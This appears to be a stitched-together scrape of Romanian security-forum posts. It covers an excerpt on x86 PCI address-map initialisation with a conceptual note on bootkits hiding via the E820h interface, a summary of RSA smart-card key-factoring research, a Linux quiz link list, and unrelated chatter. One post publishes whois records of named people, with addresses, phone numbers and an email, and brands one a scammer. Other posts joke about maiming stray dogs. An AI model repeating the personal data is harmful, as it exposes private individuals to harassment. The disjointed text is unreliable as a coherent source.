physical address 11C0_0000h (284MB) at runtime (inside an OS). Figure 5 Steps for a Memory Request to the AGP Video Card in the First System Configuration (256 mb RAM) Details of the steps shown in Figure 5 are as follows: Suppose that an application (running inside the OS) requests texture data in the video memory that ultimately translates into physical address 11C0_0000h (284MB), the read transaction would go from the CPU to the northbridge. The northbridge forwards the read request to a device whose memory range contains the requested address, 11C0_0000h. The northbridge logic checks all of its registers related to address mapping to find the device that match the address requested. In the Intel 815E chipset, address mapping of device on the AGP port is controlled by four registers, in the AGP/PCI bridge part of the chipset. Those four registers are MBASE, MLIMIT, PMBASE, and PMLIMIT. Any access to a memory address within the range of either MBASE to MLIMIT or PMBASE to PMLIMIT is forwarded to the AGP. It turns out the requested address (11C0_0000h) is within the PMBASE to PMLIMIT memory range. Note that initialization of the four address mapping registers is the job of the platform firmware. Because the requested address (11C0_0000h) is within the PMBASE to PMLIMIT memory range, the northbridge forwards the read request to the AGP, i.e., to the video card chip. The video card chip’s BARs setting allows it to respond to the request from the northbridge. The video card chip then reads the video memory at the requested address (at 11C0_0000h) and returns the requested contents to the northbridge. The northbridge forwards the result returned by the video card to the CPU. After this step, the CPU receives the result from the northbridge and the read transaction completes. The breakdown of a memory read in the sample above should be clear enough for those not yet accustomed to the role of the Intel 815E northbridge chipset as “address router.” The System Management Mode (SMM) Memory Mapping In the beginning of this section, I have talked about the “special” memory range in the PCI memory range, i.e., the memory range occupied by the flash ROM chip containing the platform firmware and the APIC. If you look at the system address map in Figure 2, you can see that there are two more memory ranges in the system address map that show up mysteriously. They are the HSEG and TSEG memory ranges. Both of these memory ranges are not accessible in normal operating mode, i.e., not accessible from inside the operating system, even DOS. They are only accessible when the CPU is in system management mode (SMM). Therefore, it’s only directly accessible to SMM code in the BIOS. Let’s have a look at both of them: HSEG is an abbreviation of high segment. This memory range is hardcoded to FEEA_0000h-FEEB_FFFFh. The system management RAM control register in the Intel 815E chipset must be programmed (at boot in the BIOS code) to enable this hardcoded memory range as HSEG, otherwise the memory range is mapped to the PCI bus. HSEG maps access to the FEEA_0000h-FEEB_FFFFh memory range into the A_0000h-B_FFFFh memory range in the RAM. By default, the A_0000h-B_0000h memory range is not mapped to RAM, but to part of the video memory to provide compatibility to DOS application. The HSEG capability makes the RAM “hole” in the A_0000h-B_FFFFh memory range available to store SMM code. Both of the HSEG memory ranges are not accessible at runtime (inside an OS). TSEG is an abbreviation of top of main memory segment—top of main memory (RAM) is abbreviated as TOM. This memory range is relocatable, depending on the size of main memory. It’s always mapped from TOM-minus-TSEG-size to TOM. The system management RAM control register in the Intel 815E chipset must be programmed (at boot in the BIOS code) to enable TSEG. TSEG is only accessible in SMM with physical address set in the northbridge, the areas occupied by TSEG is a “memory hole” with respect to OS, i.e., OS cannot see TSEG area. Accesses to all of the “special” memory ranges (APIC, flash ROM and HSEG) are not forwarded to the PCI bus by the Intel 815E-ICH2 chipset, but they are forwarded to their respective devices, i.e., accesses to APIC memory range are forwarded to the APIC, accesses to flash ROM memory range are forwarded to the flash ROM, and accesses to HSEG at FEEA_0000h-FEEB_FFFFh memory range are forwarded to RAM at A_0000h-B_FFFFh memory range. At this point, everything regarding system address map in a typical Intel 815E-ICH2 system should be clear. The one thing remaining to be studied is initialization of the BAR. There are some additional materials in the remaining sections, though. They are all related to system address map. PCI Bus Base Address Registers Initialization PCI BAR initialization is the job of the platform firmware. The PCI specification provides implementation note on BAR initialization. Let’s have a look at the BAR format before we get into the implementation note. PCI BAR Formats There are two types of BAR, the first is BAR that maps to the CPU I/O space and the second is BAR that maps to the CPU memory space. The formats of these two types of BARs are quite different. Figure 6 and Figure 7 show the formats of both types of BAR. Figure 6 BAR That Maps to CPU I/O Space Format Figure 6 shows the format of the PCI BAR that maps to CPU I/O space. As you can see, the lowest two bits in the 32-bit BAR are hardcoded to “01? binary value. Actually, only the lowest bit matters; it differentiates the type of the BAR, because the bit has a different hardcoded value when the BAR types differ. In BAR that maps to CPU I/O space, the lowest bit always hardcoded to one, while in BAR that maps to CPU memory space, the lowest bit always hardcoded to zero. You can see this difference in Figure 6 and Figure 7. Figure 7 BAR That Maps to CPU Memory Space Format Figure 7 shows the BAR format for the BAR that maps to CPU memory space. This article deals with this type of BAR because the focus is on the system address map, particularly the system memory map. Figure 7 shows the lowest bit is hardcoded to zero in BAR that map to CPU memory space. Figure 7 also shows that bits 1 and bit 2 determine whether the BAR is a 32-bit BAR or 64-bit BAR. This needs a little bit of explanation. PCI bus protocol actually supports 32-bit and 64-bit memory space. The 64-bit memory space is supported through “dual cycle” addressing, i.e., access to the 64-bit address requires two cycles instead of one because the PCI bus is natively 32-bit bus in its implementation. However, we’re not going to delve deeper into it because we are only concerned with the 32-bit PCI bus in this article. If you ask: Why only 32-bit? It’s because the CPU we are talking about here only supports 32-bit operation—without physical address extension (PAE), and we don’t deal with PAE here. Figure 7 shows that bit 3 controls the prefetching in BAR that maps to CPU memory space. Prefetching in this context means that the CPU fetches the contents of memory addressed by the BAR before a request to that specific memory address is made, i.e., the “fetching” happens in advance, hence “pre”-fetching. This feature is used to improve the overall PCI device memory read speed. Figure 6 and Figure 7 shows the rest of the BAR contents as “Base Address.” Not all of the bits in the part marked as “Base Address” are writeable. The number of writeable bits depends on the size of the memory range required by the PCI device onboard memory. Detail of which bits of the “Base Address” are hardcoded and which bits are writeable is discussed in the next section: PCI BAR Sizing Implementation Note. Figure 8 XROMBAR Format Figure 8 shows the XROMBAR format. As you can see, the lowest 11 bits are practically hardcoded to zero—because the expansion ROM enable bit doesn’t act as an address bit, only as a control bit. This means a PCI expansion ROM must be mapped to a 2 KB boundary. The “expansion ROM enable” bit controls whether access to the PCI expansion ROM is enabled or not. When the bit is set to one, the access is enabled and when the bit is set to zero the access is disabled. If you look at Figure 3 “PCI Configuration Registers Type 0,” you see the command register at offset 04h. There’s one bit in the command register called the memory space bit that must also be enabled to enable access to the PCI expansion ROM. The memory space bit has precedence over the “expansion ROM enable” bit. Therefore, both the memory space bit in the command register and the “expansion ROM enable” bit in the XROMBAR must be set to one to enable access to the PCI expansion ROM. The number of writeable bits in the “expansion ROM base address” bits depends on the size of the memory range required by the PCI expansion ROM. Detail of which bits of the “expansion ROM base address” are hardcoded and which bits are writeable is discussed in the next section: PCI BAR Sizing Implementation Note. The process for BAR initialization also applies to initializing the XROMBAR. In practice, some vendors prefer to use BAR instead of XROMBAR to map the PCI expansion ROM to either the CPU memory space or the CPU I/O space. One particular example is the old Realtek RTL8139D LAN card chip. This chip maps the PCI expansion ROM to the CPU I/O space instead of the CPU memory space by using a BAR, instead of the XROMBAR. You can see the details in the chip datasheet. This shows that, despite the presence of the bus protocol standard, some vendors prefer a quite different approach compared to what the standard suggests. Well, the Realtek approach is certainly not wrong as per the PCI bus protocol but it’s quite outside of the norm. However, I think there might be an economic reason to do so. Perhaps, by doing that Realtek saved quite sizeable die area in the LAN card chip. This translated into cheaper production costs. PCI BAR Sizing Implementation Note At this point, the PCI BAR format and XROMBAR format are already clear except for the base address bits, which as stated previously, contain device specific values. Base address bits depend on the size of the memory range required by the PCI device. The size of the memory range required by a PCI device is calculated from the number of writeable bits in the base address bits part of the BAR. The detail is described in the BAR sizing implementation note in PCI specification v2.3, as follows: Implementation Note: Sizing a 32-bit Base Address Register Example Decoding (I/O or memory) of a register is disabled via the command register (offset 04h in PCI configuration space) before sizing a base address register. Software saves the original value of the base address register, writes 0FFFFFFFFh to the register, then (the software) reads it back. Size calculation can be done from the 32-bit value read by first clearing the encoding information bits (bit 0 for I/O, bits 0-3 for memory), inverting all 32 bits (logical NOT), then incrementing by 1. The resultant 32-bit value is the memory/I/O range size decoded by the register. Note that the upper 16 bits of the result are ignored if the base address register is for I/O and bits 16-31 return zero upon read. The original value in the base address register is restored before re-enabling decode in the command register (offset 04h in PCI configuration space) of the device. 64-bit (memory) base address registers can be handled the same, except that the second 32-bit register is considered an extension of the first; i.e., bits 32-63. Software writes 0FFFFFFFFh to both registers, reads them back, and combines the result into a 64-bit value. Size calculation is done on the 64-bit value. The implementation note above is probably still a bit vague. Now, let’s see how the BAR in the AGP video card chip should behave in order to allocate 32 mb from the CPU memory space for the onboard video memory. The address range allocation happens during “BAR sizing” phase in the BIOS execution. “BAR sizing” routine is part of the BIOS code that builds the system address map. The “BAR sizing” happens in these steps (as per the implementation note above): BIOS code saves the original value of the video card chip BAR to temporary variable in RAM. There are six BARs in the PCI configuration registers of the video card chip. We assume the BIOS work with the first BAR (offset 10h in the PCI configuration registers). BIOS code writes FFFF_FFFFh to the first video card chip BAR. The video card chip would allow write only to writeable bits in the Base Address part of the BAR. The lowest 4-bits are hardcoded values meant as control bits for the BAR. The bits controls prefetching behavior, whether the BAR is 32-bit or 64-bit and whether the BAR maps to CPU memory space or CPU I/O space. Here we assume that the BAR maps to CPU memory space. The BAR should contain FE00_000Xh after the write in step 2—because the video card size is 32 mb, you will see later how this value transforms into 32 mb. X denotes variable contents that we are not interested in, because it depends on the specific video card and it doesn’t affect “BAR sizing” process. As per the implementation note, the lowest 4 bits must be reset to 0h. Therefore, now we have FE00_0000h. Then, the value obtained in the previous step must be inverted (logical NOT 32 bits). Now, we have 01FF_FFFFh. Then, the value obtained in the previous step must be incremented by one. Now, we have 200_0000h, which is 32 mb, the size of memory range required by the AGP video card. Perhaps, you’re asking why the FFFF_FFFFh writes to the BAR only returns FE00_000Xh? The answer is because only the top seven bits of the BAR are writeable. The rest is hardcoded to zero, except the lowest 4 bits, which are used for BAR information—I/O or memory mapping indicator, prefetching, and 32-bit/64-bit indicator. These lowest 4 bits could be hardcoded to non-zero values, which is why the read result must be reset to zero. It’s possible to relocate the video card memory anywhere in the 4GB CPU memory space in a 32 mb boundary because the top seven bits of the 32-bit BAR are writeable—I believe you can do the math yourself for this. After the “BAR sizing,” the BIOS knows the amount of memory required by the video card, i.e., 32 mb. The BIOS can now map the video card memory into the CPU memory space by writing the intended address into the video card BAR. For example, to map the video card memory to address 256 mb, the BIOS would write 1000_0000h (256 mb) to the video card BAR; with this value, the top seven bits of the BAR contains the 0001_000b binary value. Now, you might be asking, what about XROMBAR? Well, the process just the same, except that XROMBAR maps read only memory (ROM) instead of RAM—as in the video card memory sample explained here—into the CPU memory space. This means there’s no prefetching of bits to be read or processed during the “BAR sizing” because ROM usually doesn’t support prefetching at all unlike RAM, which acts as video card memory. The explanation on “BAR sizing” in this subsection should clarify the expansion ROM mapping to the system address map, which is not very clear in my previous article (Malicious Code Execution in PCI Expansion ROM). The AGP Graphics Address Remapping/Relocation Table (GART) The example of PCI device mapping to system address map in this article is an AGP video card. Logically, an AGP is actually an “enhanced” PCI device and it has some peculiarities, such as the fact that the AGP device slot runs at 66 MHz instead of 33 MHz in ordinary PCI slot and AGP also has some AGP-specific logic support inside the northbridge chipset. One of the AGP-specific supports in the northbridge is the so-called AGP graphics address remapping/relocation table (GART) hardware logic. AGP GART—or GART for short—allows the video card chip in the video card to use a portion of the main memory (RAM) as video memory if the application(s) that use the video memory runs out of the onboard video memory. The GART hardware is basically a sort of memory management unit (MMU) that presents chunks of the RAM—allocated as additional video memory—as one contiguous memory to the video card chip. This is required because, by the time the video card chip requests for additional video memory to the system, the RAM is very probably already fragmented because other applications have used portions of the RAM for their own purposes. The GART hardware has a direct relation to the system address map initialization via the so-called AGP aperture. For those old enough, you might remember setting the AGP aperture size in your PC BIOS back then. The GART in some respect is a precursor to the input/output memory management unit (IOMMU) technology that is in use in some of present-day hardware. Now, let’s look deeper into the GART and the AGP aperture. Figure 9 shows how the GART and the AGP aperture work. Figure 9 AGP GART and AGP Aperture in the System Address Map Figure 9 shows implementation of the AGP aperture and GART. The AGP aperture—which is set in the BIOS/platform firmware—basically reserves a contiguous portion of the PCI MMIO range to be used as additional video memory in case the video memory is exhausted at runtime (inside the OS). The size of the AGP aperture is set in the BIOS setting. Therefore, when the BIOS initializes the system address map, it sets aside a contiguous portion of the PCI MMIO range to be used as the AGP aperture. The GART logic in the northbridge chipset contains a register that contains pointer to the GART data structure (translation table) in RAM. The GART data structure is stored in RAM, much like the global descriptor table or local descriptor table in x86/x64 CPUs. The video driver working alongside the OS kernel initializes the GART data structure. When the video memory is running low, the video driver (working alongside the OS kernel) allocates chunks of RAM as required. The video card chip accesses the additional video memory via the AGP aperture. Therefore, the video card chip only sees a contiguous additional video memory instead of chunks of memory in RAM. The GART hardware in the northbridge chipset translates from the AGP aperture “address space” to the RAM chunk’s “address space” for the video card chip. For example, in Figure 9, when the video card chip accesses block #1 in the AGP aperture region, the GART logic would translate the access into access to block #1 in the corresponding RAM chunk—the block is marked in red in Figure 9. The GART logic translates the access based on the contents of the GART data structure, which is also located in RAM but cached in the GART logic, much like the descriptor cache in x86/x64 CPUs. The downside of the AGP architecture lies in the GART being located in the northbridge, a shared and critical resource for the entire system. This implies that a misbehaving video card driver could crash the entire system because the video card literally programmed the northbridge for GART-related stuff. This fact encourages the architects of the PCIe protocol to require the GART logic to be implemented in the video card chip instead of in the chipset in systems that implement the PCIe protocol. For details on the requirement, you can read this: PCI Express FAQ for Graphics. Now you should have a very good overall view of the effect of the AGP in the system address map. The most important thing to remember is that the GART logic consults a translation table, i.e., the GART data structure, in order to access the real contents of the additional video memory in RAM. A similar technique is employed in IOMMU—the use of translation table. Hijacking BIOS Interrupt 15h AX=E820h Interface Now let’s see how you can query the system for the system address map. In legacy systems with legacy platform firmware, i.e., BIOS, the most common way to request system address map is via interrupt 15h function E820h (ax=E820h). The interrupt must be performed when the x86/x64 system runs in real mode; right after the BIOS completes platform initialization. You can find details of this interface at: INT 15h, AX=E820h - Query System Address Map. Interrupt 15h function E820h is sometimes called the E820h interface. We’ll adopt this naming here. A legacy boot rootkit—let’s call it bootkit—could hide in the system by patching the interrupt 15h, function E820h handler. One of the ways to do that is to alter the address range descriptor structure returned by the E820h interface. The address range descriptor structure is defined as follows: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]typedef AddressRangeDescriptorTag{ unsigned long BaseAddrLow; unsigned long BaseAddrHigh; unsigned long LengthLow; unsigned long LengthHigh; unsigned long Type; } AddressRangeDescriptor; [/TD] [/TR] [/TABLE] The type field in the address range descriptor structure determines whether the memory range is available to be used by the OS, i.e. can be read and written by the OS. The encoding of the type field as follows: A value of 1 means this run (the returned memory range from the interrupt handler) is available RAM usable by the operating system. A value of 2 means this run of addresses (the returned memory range from the interrupt handler) is in use or reserved by the system, and must not be used by the operating system. “Other values” means undefined—reserved for future use. Any range of this type must be treated by the OS as if the type returned was reserved (the return value is 2). If the RAM chunk used by the bootkit is marked as reserved region in the Type field of the address range descriptor structure, it means that the OS would regard the RAM chunk as “off-limits.” This practically “hides” the bootkit from the OS. This is one of the ways a bootkit can hide in a legacy system. Anyway, memory range—in the CPU memory space—consumed by PCI MMIO devices would also be categorized as a reserved region by the BIOS interrupt 15h function E820h handler because it’s not in the RAM region and it should not be regarded as such. Moreover, random read and write to PCI devices can have unintended effects. The users of the E820h interface are mostly the OS and the OS bootloader. The OS needs to know the system address map in order to initialize the system properly. The OS bootloader sometimes has additional function such as RAM tests and in some circumstances it also passes the system memory map to the OS. That’s why the OS bootloader is also a user of the E820h interface. UEFI: The GetMemoryMap() Interface Now you might be asking: what is the equivalent of the E820h interface in UEFI? Well, the equivalent of the E820h interface in UEFI is the GetMemoryMap()function. This function is available as part of the UEFI boot services. Therefore, you need to traverse into the UEFI boot services table to “call” the function. The “simplified” algorithm to call this function as follows: Locate the EFI system table. Traverse to the EFI_BOOTSERVICES_TABLE in the EFI System Table. Traverse the EFI_BOOTSERVICES_TABLE to locate the GetMemoryMap() function. Call the GetMemoryMap() function. The GetMemoryMap()function returns a data structure that is similar to the one returned by the legacy E820h interface. The data structure is called EFI_MEMORY_DESCRIPTOR. Well, this article doesn’t try to delve deeper into this interface. You can read details of the interface and the EFI_MEMORY_DESCRIPTOR in the UEFI specification. Should you be interested in digging deeper, the GetMemoryMap() function is located in the boot services chapter of the UEFI specification, under the memory allocation services section. Closing Thoughts Thanks go to reader Jimbo Bob, who asked the question regarding clarification on PCI expansion ROM chip address mapping in my “Malicious PCI Expansion ROM” article (Malicious Code Execution in PCI Expansion ROM). I was not aware of the insufficiency of my explanation in that article. Perhaps, because I have been working on BIOS and other stuff bare metal for years, I took it for granted that readers of my article would be sufficiently informed regarding the bus protocols I talked about. So here I am, fixing that mistake. Looking forward, I’m preparing another article in the same spirit as this one that focuses on present-day bus protocol, the PCI express (PCIe). For those who wandered to bare metal programming in x86/x64 for the first time, I hope this article will help understanding the system. Hopefully the reader becomes fully informed about where to go to find information regarding chip-specific information, particularly, knowledgeable enough to travel the web to find relevant x86/x64-related chip/chipset datasheet according to his/her needs. Sursa: System Address Map Initialization in x86/x64 Architecture Part 1: PCI-Based Systems

[h=1]Factoring RSA keys from certified smart cards: Coppersmith in the wild[/h] [h=2]Introduction[/h] An attacker can efficiently factor at least 184 distinct 1024-bit RSA keys from Taiwan's national "Citizen Digital Certificate" database. The big story here is that these keys were generated by government-issued smart cards that were certified secure. The certificates had all the usual buzzwords: FIPS certification from NIST (U.S. government) and CSE (Canadian government), and Common Criteria certification from BSI (German government). These 184 keys include 103 keys that share primes and that are efficiently factored by a batch-GCD computation. This is the same type of computation that was used last year by two independent teams (USENIX Security 2012: Heninger, Durumeric, Wustrow, Halderman; Crypto 2012: Lenstra, Hughes, Augier, Bos, Kleinjung, Wachter) to factor tens of thousands of cryptographic keys on the Internet. The remaining 81 keys do not share primes. Factoring these 81 keys requires taking deeper advantage of randomness-generation failures: first using the shared primes as a springboard to characterize the failures, and then using Coppersmith-type partial-key-recovery attacks. This is the first successful public application of Coppersmith-type attacks to keys found in the wild. [h=3]Contributors (alphabetical order)[/h] Daniel J. Bernstein, University of Illinois at Chicago, USA, and Technische Universiteit Eindhoven, Netherlands Yun-An Chang, Academia Sinica, Taiwan Chen-Mou Cheng, Academia Sinica, Taiwan Li-Ping Chou, Chinese Culture University, Taiwan Nadia Heninger, University of Pennsylvania, USA Tanja Lange, Technische Universiteit Eindhoven, Netherlands Nicko van Someren, Good Technology, USA [h=3]Research papers[/h] [TABLE] [TR] [TD] [/TD] [TD] [/TD] [TD] [smartfacts] 20pp. (PDF) Daniel J. Bernstein, Yun-An Chang, Chen-Mou Cheng, Li-Ping Chou, Nadia Heninger, Tanja Lange, Nicko van Someren. Factoring RSA keys from certified smart cards: Coppersmith in the wild. Asiacrypt 2013, to appear. URL: D. J. Bernstein / Papers. Date: 2013.09.16. [/TD] [/TR] [/TABLE] [h=3]Research talks[/h] 2013.07.01 Tanja Lange. Number Theory, Geometry and Cryptography meeting, University of Warwick. 2013.08.20 Nadia Heninger. Crypto 2013 rump session, University of California at Santa Barbara. [h=3]Acknowledgments[/h] This work was supported by the U.S. National Science Foundation under grant 1018836. "Any opinions, findings, and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the National Science Foundation." This work was supported by the Netherlands Organisation for Scientific Research (NWO) under grants 639.073.005 and 040.09.003. This work was supported by the National Science Council of Taiwan under NSC 101-2915-I-001-019. Cheng worked on this project while at Technische Universität Darmstadt under the support of Alexander von Humboldt-Stiftung. Heninger worked on this project while at Microsoft Research New England. Sursa: SmartFacts: Introduction

Eu sugerez sa ascultati muzica buna in timp ce va exprimati opinia. Ca tot este un forum de securitate IT (vorba vine), ascultati o melodie pe masura discutiilor:

[h=1]1000 Linux Questions and Answers[/h] Our 1000+ Linux questions and answers focuses on both Linux Administration & Linux Systems Programming areas. These are useful for both experienced professionals as well as freshers. These questions have been broken down into various sections of Linux kernel viz. process management, memory management, file management, interprocess communication, signal handling and so on. Highlights - 1000+ Multiple Choice Questions & Answers in Linux with explanations - Lots of MCQs with Linux Systems Programming code snippet and its output - Lots of MCQs on Linux Basic Environment, Shell Programming and Administration - Linux programming code is compiled and tested on x86-32 bit systems - Lots of MCQs with GDB Debugging, Tricky and Buggy Code Snippets & Examples Who should Practice these Linux Questions? - Anyone wishing to sharpen their skills on Linux Environment & Administration - Anyone wishing to sharpen their skills on Linux Programming - Anyone preparing for interviews (campus interview, walk-in interview and company interviews) - Anyone preparing for entrance examinations and other competitive examinations - All – Experienced, Fresher and Student Here’s the list of Questions & Answers on Linux Administration, Developer Environment, Debugging and Programming [TABLE=width: 100%] [TR] [TD=colspan: 2]Linux Administration Interview Questions[/TD] [/TR] [TR] [TD] Linux Environment – 1 Linux Environment – 2 Linux Environment – 3 Linux Commands – 1 Linux Commands – 2 Linux Commands – 3 Linux Commands – 4 Linux File Management – 1 Linux File Management – 2 Linux File Types Linux File Permissions – 1 Linux File Permissions – 2 Linux File System Overview Linux Startup and Shutdown Linux Process Management Linux User Account Management Linux Shell Programming Linux Shell Environment – 1 Linux Shell Environment – 2 Linux Shell Redirection Linux Shell Special Symbols Linux Search Pattern [/TD] [TD] Linux Shell Functions Linux Shell Variables Linux Bash Arithmetic Expressions Linux Bash Command History & Job Control Linux Bash Built-in Commands – 1 Linux Bash Built-in Commands – 2 Linux Bash Built-in Commands – 3 Linux vi Editor Linux sed Editor Awk Programming Basics Awk Programming Expressions Awk Programming Control Statements Awk Programming Varaibles and arrays Linux Filesystem Hierarchy – 1 Linux Filesystem Hierarchy – 2 Linux Proc Filesystem – 1 Linux Proc Filesystem – 2 Linux Proc Filesystem – 3 Linux Proc Filesystem – 4 Linux Proc Filesystem – 5 [/TD] [/TR] [TR] [TD=colspan: 2]Linux Developer, Makefile, Debugging & Build Environment Questions[/TD] [/TR] [TR] [TD=colspan: 2] Makefile Questions & Answers – 1 Makefile Questions & Answers – 2 GCC Compiler Various Options – 1 GCC Compiler Various Options – 2 GCC Compiler Various Options – 3 GCC Compiler – Stages of Compilation – 1 GCC Compiler – Stages of Compilation – 2 Static Libraries Questions & Answers Shared Libraries Questions & Answers GDB Debugger Questions & Answers – 1 GDB Debugger Questions & Answers – 2 GDB Debugger Questions & Answers – 3 GDB Debugger Questions & Answers – 4 GDB Debugger Questions & Answers – 5 Linux Sysfs Questions & Answers – 1 Linux Sysfs Questions & Answers – 2 Linux Sysfs Questions & Answers – 3 Linux Sysfs Qusetions & Answers – 4 Linux Sysfs Questions & Answers – 5 Device Drivers Major-Minor Numbers Questions [/TD] [/TR] [TR] [TD=colspan: 2]Linux Programming Interview Questions[/TD] [/TR] [TR] [TD=colspan: 2] Linux Process Management Linux Memory Management Linux File Management – 1 Linux File Management – 2 Linux Signal Handling Linux IPCs – 1 Linux IPCs – 2 Linux Systems [/TD] [/TR] [TR] [TD=colspan: 2]Linux Program Debugging/Tricky/Buggy Questions with Code/Examples[/TD] [/TR] [TR] [TD=colspan: 2] Memory Allocator Debugging Questions – malloc, calloc, free and realloc Calls – 1 Memory Allocator Debugging Questions – malloc, calloc, free and realloc Calls – 2 File Handling Debugging Questions – dup, fcntl, lseek and read System Calls Process Management Debugging Questions – fork, exec and wait System Calls Debugging Questions – Signal Handling System Calls System Resource Debugging Questions – Timer, User & Resource Limit System Calls Debugging Questions – Posix Threads Debugging Questions – PThreads Handling Debugging Questions – Named and Un-named Pipe Calls Debugging Questions – System-V IPCs – Message Queues, Shared Memory and Semaphores Debugging Questions – POSIX IPCs – Message Queues, Shared Memory and Semaphores Debugging Questions – Unix Domain Sockets Debugging Questions – Internet Domain Socket System Calls [/TD] [/TR] [/TABLE] Sanfoundry Global Education & Learning Series – Linux Administration & Programming. If you would like to learn Linux Administration or Programming thoroughly, you should attempt to work on the complete set of Linux questions and answers mentioned above. It will immensely help anyone trying to crack a Linux code or an interview. Wish you the best in your endeavor to learn and master Linux Environment & Programming! Sursa: 1000 Linux Questions and Answers for Freshers & Experienced | Sanfoundry

Epic: Caini vagabonzi trebuie nu eutanasiati,ci OMORATI !

Eu sunt de acord cu astfel de discutii in contradictoriu deoarece sunt constructive si intotdeauna se ajunge la o concluzie clara. Nu trebuie sa impiedicam lumea sa isi exprime opinia, de aceea, cand topicul va ajunge la 300 de posturi, toti cei care si-au exprimat punctul de vedere vor primi statutul de V.I.P.

Salvati puii de gaina! Opriti KFC-ul si McDonalds! Puii au dreptul la viata! Eu am renuntat la consumul de carne de pui. Au trecut aproape 2 ore si nu m-am atins de carne de pui!

Sustin proiectul Rosia Montana, o sa aduca beneficii economiei taii! Cainii nu trebuie omorati, doar le rupem picioarele! (sincer, mi se pare mai ok decat sa le taiem coaiele) Dumnezeu este sus si vede, Dumnezeu exista!

Doar adresa, CNP-ul, seria si numarul de buletin.

Superb! Imi merge si mie

Sunt multe conferinte de IT, doar ca, la fel ca si aceasta, sunt foarte scumpe pentru noi, muritori de rand. De asemenea, cel mai important lucru: nu sunt conferinte tehnice. Sunt conferinte de marketing unde fiecare isi prezinta solutiile si incearca sa isi creasca business-ul.

Ban. Da, se ocupa: Registrant Name: Valium Andrei Registrant Street: Street Dance Registrant City: Bucharest Registrant State/Province: B Registrant Postal Code: 145100 Registrant Country: RO Registrant Phone: +40.40763711458 Registrant Email: valiumalert@Yahoo.com Whois. registrant-firstname: Cristian registrant-lastname: Stefan registrant-street1: Street Viscourt registrant-street2: - registrant-pcode: 140500 registrant-state: AB registrant-city: Bihor registrant-ccode: RO registrant-phone: +40.764076371145x4 Adica el: https://rstforums.com/forum/members/valium/ Se pare ca omul e tepar de meserie: https://rstforums.com/forum/72473-vand-multe-domenii-ieftine-pack.rst Zis si Cristian Stefan.

"Privacy" pentru cine are acces fizic la calculator. Atat.

Poti pune codul?

TU trebuie sa trimiti asta. header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($file)); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); De aici: PHP: readfile - Manual